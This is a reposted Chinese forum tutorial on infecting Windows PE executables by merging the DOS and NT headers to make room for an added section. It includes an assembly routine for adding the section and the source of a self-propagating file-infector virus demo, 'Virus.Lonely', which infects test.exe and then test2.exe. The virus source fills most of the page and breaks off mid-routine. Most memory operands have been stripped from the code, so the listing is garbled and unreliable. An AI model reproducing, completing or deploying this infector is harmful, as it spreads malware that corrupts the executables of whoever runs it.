web_surf 发表于 2011-12-21 08:43

[Anti Virus专题] 1.4 - 1.变形PE头添加节形式感染 (ZT)

<div id="blog_text" class="cnt">1.4 - 1.变形PE头添加节形式感染。<br>
<br>
<br>
&nbsp;&nbsp; 很抱歉最近出了趟远门,昨天星期2才回来,今天下午给大家更新下文章。<br>
<br>
<br>
&nbsp;&nbsp; 前言:<br>
<br>
&nbsp;&nbsp; 今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头来让我们有足够的空隙写入一个新的节表结构。<br>
<br>
<br>
1. 变形PE头原理:<br>
<br>
&nbsp;&nbsp; 这里的变形PE头的思路是用的比较方便的方法,就是将结构融合起来。聪明的你是否已经想到了? 就是将IMAGE_DOS_HEADER 和
IMAGE_NT_HEADER
结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的
结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员。是不是很绕?没关系,我们继续往下看。<br>
<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp; 一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic&nbsp;&nbsp;&nbsp;
(2).e_lfanew。其他的成员PE
LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了
以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们
IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。
空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及
节表结构尾部还存在一些空隙,呵呵这对我们写<br>
<br>
入一个新的节表结构是足足有余的。<br>
<br>
&nbsp;&nbsp; 我们如何融合IMAGE_DOS_HEADER和IMAGE_NT_HEADER呢?<br>
<br>
&nbsp;&nbsp; 首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列
使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。
我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。<br>
<br>
&nbsp;&nbsp;
我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在
IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是
在IMAGE_NT_HEADER前补12个字节,这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的
BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是
(1).e_magic&nbsp;&nbsp;&nbsp; (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移<br>
写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了。<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp; 给大家一个更直观的感受,我们看下变形后PE头结构部分成员排布的情况。如下图<br>
<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://bbs.pediy.com/attachment.php?attachmentid=26221&amp;d=1242828824" target="_blank"><font color="#000000">Image.jpg下载此附件需要消耗2Kx,下载中会自动扣除。</font></a><br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;<br>
2. 变形PE头添加节实现过程<br>
<br>
&nbsp;&nbsp; 当然我们的添加节过程是要在宿主程序的节表结构尾部空隙不够写入一个新的节表结构时变形PE头然后写入节表结构,所以我们要判断下。这里给出一个我实现后的过程。<br>
<br>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">代码:</div>
<pre dir="ltr" style="border: 1px inset; padding: 6px; margin: 0px; overflow: auto; width: 850px; background-color: rgb(222, 223, 223); text-align: left;">;++<br> ;<br> ; int<br> ;&nbsp;&nbsp;&nbsp; AddSectionTable(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; pByte pMemory<br> ;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwLen<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 变形PE头添加节函数<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;&nbsp;&nbsp;&nbsp; - pMemory<br> ;<br> ;&nbsp;&nbsp;&nbsp; - dwLen<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; eax = New Section PhysicalOffset, 0<br> ;&nbsp;&nbsp;&nbsp;&nbsp; edx = New Section VirtualOffset<br> ;&nbsp;&nbsp; <br> ;--<br> <br> AddSectionTable:<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ebx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; esi, ebx<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; esi, <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; edi = Section Table<br>&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, word <br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edi, dword <br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++<br>&nbsp;&nbsp;&nbsp; ; Clear Bound Import Entry<br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; dword , 10h<br>&nbsp;&nbsp;&nbsp; jl&nbsp;&nbsp; .GoSectionTable<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0 <br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .GoSectionTable:<br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; edx = First Section Offset <br>&nbsp;&nbsp;&nbsp; ; edi = Last&nbsp;&nbsp; Section Table Offset<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; edx, ebx<br>&nbsp;&nbsp;&nbsp; movzx&nbsp;&nbsp; ecx, word <br>&nbsp;&nbsp;&nbsp; imul&nbsp;&nbsp; ecx, ecx, sizeof.IMAGE_SECTION_HEADER<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; edi, ecx<br>&nbsp;&nbsp;&nbsp; ;-- <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++ <br>&nbsp;&nbsp;&nbsp; ; Expand PE Header Struct<br>&nbsp;&nbsp;&nbsp; ; BaseOfData equ .lfanew<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; edx<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, edi<br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; edx, eax<br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; edx, sizeof.IMAGE_SECTION_HEADER<br>&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; edx<br>&nbsp;&nbsp;&nbsp; jge&nbsp;&nbsp; .AddSectionTable<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Test Expand Is Exist<br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; word , 'PE'<br>&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp; .Expand<br>&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; , eax<br>&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; .Result<br>&nbsp;&nbsp;&nbsp; <br> .Expand:<br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; eax, esi<br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, ecx<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp; edi, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , edi <br>&nbsp;&nbsp;&nbsp; cld<br>&nbsp;&nbsp;&nbsp; rep&nbsp;&nbsp; movsb<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , edi<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; edx, edi<br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; ecx, edx<br>&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; rep&nbsp;&nbsp; stosb<br>&nbsp;&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0ch<br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br> .AddSectionTable:<br>&nbsp;&nbsp;&nbsp; ; Inc&nbsp;&nbsp;&nbsp;&nbsp; Num<br>&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp; word <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Sectio Name<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , '.xfi'<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; word , 'sh'<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Physical size<br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; dword <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Physical offset<br>&nbsp;&nbsp; lea&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; eax, ecx<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Virtual size<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; dword <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ; Virtual offset <br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; eax<br>&nbsp;&nbsp; mov&nbsp;&nbsp; dword , eax<br>&nbsp;&nbsp; mov&nbsp;&nbsp; , eax<br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Flags<br>&nbsp;&nbsp; mov&nbsp;&nbsp; dword , 0E0000020h<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; SizeOfImage<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; ecx, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; dword , ecx<br>&nbsp;&nbsp;&nbsp; <br> .Result:<br>&nbsp;&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*2</pre>
</div>
<br>
&nbsp;&nbsp;
那么我们今天这篇文章的主题是变形PE头添加节形式感染,那么我们当然少不了感染过程了。添加节感染,我想我就不用太多重复了,因为普通的添加节文章太多
太多了。所以这里我直接给出一段利用变形PE头添加节感染的代码Demo,这段Demo代码程序运行后会感染当前目录下的'test.exe',感染后的
程序会在运行的时候会继续感染当前目录的'test2.exe'并有一个消息框提示给用户, 由于是一个Demo,所以没有做全盘感染以及感染标记。<br>
<br>
&nbsp;&nbsp; 大家可以随便copy一个文件到此病毒程序的当前目录下为test.exe来做测试。<br>
<br>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">代码:</div>
<pre dir="ltr" style="border: 1px inset; padding: 6px; margin: 0px; overflow: auto; width: 850px; background-color: rgb(222, 223, 223); text-align: left;">;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br>;<br>;&nbsp;&nbsp; Virus.Lonely&nbsp;&nbsp; By: xfish<br>;&nbsp;&nbsp;&nbsp;&nbsp; <br>;&nbsp;&nbsp; (c)2009-05-20&nbsp;&nbsp; <br>;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --- Lonely xfish.&nbsp;&nbsp; Email: AntiAntiWorm@Gmail.com<br>;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --- thanks 29a, pediy, hacker.com.cn <br>;-----------------------------------------------------------------------------<br><br>&nbsp;&nbsp; format PE GUI 4.0<br>&nbsp;&nbsp; include 'win32ax.inc'<br>&nbsp;&nbsp; entry&nbsp;&nbsp; Virus_Entry<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>section '.Lonely' code readable writeable executable<br><br> Virus_Entry:<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp; call&nbsp;&nbsp; Dels<br>&nbsp;&nbsp; int&nbsp;&nbsp; 3<br>&nbsp;&nbsp; int&nbsp;&nbsp; 3<br>&nbsp;&nbsp; int&nbsp;&nbsp; 3<br> Dels:<br>&nbsp;&nbsp; pop&nbsp;&nbsp; ebp<br>&nbsp;&nbsp; sub&nbsp;&nbsp; ebp, Dels-2*3<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ; kernel32<br>&nbsp;&nbsp; call&nbsp;&nbsp; GetKrnlBase<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; lea&nbsp;&nbsp; edi, <br>&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp; call&nbsp;&nbsp; GetFuncAddress<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; @pushsz&nbsp;&nbsp; 'user32'<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; edi<br>&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp; call&nbsp;&nbsp; GetFuncAddress<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; test&nbsp;&nbsp; ebp, ebp<br>&nbsp;&nbsp; jz&nbsp;&nbsp; .Inject<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; @pushsz&nbsp;&nbsp; 'Virus Demo'<br>&nbsp;&nbsp; @pushsz&nbsp;&nbsp; 'by:xfish http://www.pediy.com http://www.hacker.com.cn'<br>&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp; pop&nbsp;&nbsp; dword <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; @pushsz&nbsp;&nbsp; 'test2.exe'<br>&nbsp;&nbsp; call&nbsp;&nbsp; Inject<br>&nbsp;&nbsp; popad<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp; retn<br>&nbsp;&nbsp; <br> .Inject:<br>&nbsp;&nbsp; @pushsz&nbsp;&nbsp; 'test.exe'<br>&nbsp;&nbsp; call&nbsp;&nbsp; Inject<br>&nbsp;&nbsp; popad<br>&nbsp;&nbsp; retn<br><br> ;++<br> ;<br> ; int<br> ;&nbsp;&nbsp;&nbsp; GetKrnlBase(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; void<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 获得kernel32基地址<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; eax =&nbsp;&nbsp; krnlbase<br> ;<br> ;--<br> GetKrnlBase:<br>&nbsp;&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp;&nbsp; js&nbsp;&nbsp; .Os9x<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; jmp&nbsp;&nbsp; .Result<br>&nbsp;&nbsp; .Os9x:<br>&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp; eax, <br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; .Result:<br>&nbsp;&nbsp;&nbsp;&nbsp; retn<br>&nbsp;&nbsp;&nbsp;&nbsp; <br> ;++<br> ;<br> ; int<br> ;&nbsp;&nbsp;&nbsp; GetFuncAddress<br> ;&nbsp;&nbsp;&nbsp;&nbsp; int hModule,<br> ;&nbsp;&nbsp;&nbsp;&nbsp; int pHashStringList<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp; 获取Hash API地址<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - return address<br> ;&nbsp;&nbsp;&nbsp;&nbsp; (esp+4*8+4)&nbsp;&nbsp;&nbsp;&nbsp; - hModule<br> ;&nbsp;&nbsp;&nbsp;&nbsp; (esp+4*8+8)&nbsp;&nbsp;&nbsp;&nbsp; - pHashStringList<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; nothing<br> ;<br> ;--<br> GetFuncAddress:<br>&nbsp;&nbsp; pushad<br>&nbsp;&nbsp; mov&nbsp;&nbsp; ebx, &nbsp;&nbsp; <br>&nbsp;&nbsp; mov&nbsp;&nbsp; edx, &nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; mov&nbsp;&nbsp; esi, &nbsp;&nbsp; <br>&nbsp;&nbsp; lea&nbsp;&nbsp; esi, &nbsp;&nbsp; <br>&nbsp;&nbsp; lodsd<br>&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, ecx<br>&nbsp;&nbsp; lodsd<br>&nbsp;&nbsp; add&nbsp;&nbsp; eax, ebx<br>&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, ebp&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; lodsd<br>&nbsp;&nbsp; add&nbsp;&nbsp; eax, ebx&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, edx&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; lodsd<br>&nbsp;&nbsp; add&nbsp;&nbsp; eax, ebx<br>&nbsp;&nbsp; push&nbsp;&nbsp; eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp; mov&nbsp;&nbsp; esi, edx<br> .Next_Func:<br>&nbsp;&nbsp;&nbsp; lodsd<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; eax, ebx<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ; Make Func Hash<br>&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; edx, edx<br> .Make_Hash:<br>&nbsp;&nbsp;&nbsp;&nbsp; rol&nbsp;&nbsp; edx, 3<br>&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dl, byte <br>&nbsp;&nbsp; inc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eax<br>&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte , 0<br>&nbsp;&nbsp; jnz&nbsp;&nbsp; .Make_Hash<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; add&nbsp;&nbsp; dword , 2<br><br>&nbsp;&nbsp; mov&nbsp;&nbsp; edi, <br> .Scan_Dw_Funcs:<br>&nbsp;&nbsp; cmp&nbsp;&nbsp; dword , edx<br>&nbsp;&nbsp; jnz&nbsp;&nbsp; .Next_List<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; movzx&nbsp;&nbsp; eax, word <br>&nbsp;&nbsp; mov&nbsp;&nbsp; eax, <br>&nbsp;&nbsp; add&nbsp;&nbsp; eax, ebx<br>&nbsp;&nbsp; scasd<br>&nbsp;&nbsp; stosd<br>&nbsp;&nbsp; jmp&nbsp;&nbsp; .Ret<br>&nbsp;&nbsp;&nbsp;&nbsp; <br> .Next_List:<br>&nbsp;&nbsp; scasd<br>&nbsp;&nbsp; scasd<br>&nbsp;&nbsp; cmp&nbsp;&nbsp; dword , 0<br>&nbsp;&nbsp; jne&nbsp;&nbsp; .Scan_Dw_Funcs<br> .Ret:<br>&nbsp;&nbsp; loop&nbsp;&nbsp;&nbsp;&nbsp; .Next_Func<br>&nbsp;&nbsp; pop&nbsp;&nbsp; ecx<br>&nbsp;&nbsp; popad<br>&nbsp;&nbsp; retn&nbsp;&nbsp;&nbsp; 4*2<br>&nbsp;&nbsp;&nbsp;&nbsp; <br> ;++<br> ;<br> ; CF<br> ;&nbsp;&nbsp;&nbsp; IsPe(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; pByte pMemory<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 测试是否是PE文件<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;&nbsp;&nbsp;&nbsp; - pMemory<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; eax -- NewSection Physical offset<br> ;&nbsp;&nbsp;&nbsp;&nbsp; eax -- 0<br> ;--<br> <br> IsPe:<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; word , 'MZ'<br>&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp; .RetFalse<br>&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp; edx, <br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; word , 'PE'<br>&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp; .RetFalse<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .RetTrue:&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; stc<br>&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*1<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .RetFalse:<br>&nbsp;&nbsp;&nbsp;&nbsp; clc<br>&nbsp;&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*1<br> <br> ;++<br> ;<br> ; CF<br> ;&nbsp;&nbsp;&nbsp; IsFileType(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; LPCTSTR lpFileName<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 测试文件类型是否是32位二进制文件<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;&nbsp;&nbsp;&nbsp; - lpFileName<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; CF -- 1, = TRUE.<br> ;<br> ;--<br> <br> IsFileType:<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; esp<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; dword <br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; dword <br>&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; ; 32BIT_BINARY = 0<br>&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; jne&nbsp;&nbsp; .RetFalse<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .RetTrue:<br>&nbsp;&nbsp;&nbsp;&nbsp; stc<br>&nbsp;&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*1<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; .RetFalse:<br>&nbsp;&nbsp;&nbsp;&nbsp; clc<br>&nbsp;&nbsp;&nbsp;&nbsp; retn&nbsp;&nbsp; 4*1<br> <br> ;++<br> ;<br> ; void<br> ;&nbsp;&nbsp;&nbsp; Inject(<br> ;&nbsp;&nbsp;&nbsp;&nbsp; LPCTSTR lpFileName<br> ;&nbsp;&nbsp;&nbsp; )<br> ;<br> ; Routine Description:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; 感染文件<br> ;<br> ; Arguments:<br> ;<br> ;&nbsp;&nbsp;&nbsp; (esp)&nbsp;&nbsp;&nbsp; - return address<br> ;<br> ;&nbsp;&nbsp;&nbsp; - lpFileName<br> ;<br> ; Return Value:<br> ;<br> ;&nbsp;&nbsp;&nbsp;&nbsp; nothing<br> ;<br> ;--<br> <br> Inject:<br>&nbsp;&nbsp;&nbsp; pushad<br>&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; esi, <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;++<br>&nbsp;&nbsp;&nbsp; ; Is File Pe Format<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; esi<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; IsFileType<br>&nbsp;&nbsp;&nbsp; jnc&nbsp;&nbsp; .Result<br>&nbsp;&nbsp;&nbsp; ;--<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; OPEN_EXISTING<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; FILE_SHARE_WRITE<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; GENERIC_READ or GENERIC_WRITE<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; esi<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp; eax, -1<br>&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp; .Result<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; xchg&nbsp;&nbsp; eax, ebx<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; ebx<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; ;<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; PAGE_READWRITE<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; MEM_COMMIT<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; eax<br>&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; 0<br>&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; ;<br>&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp; edx<br>&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp; eax, eax<br>&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp; 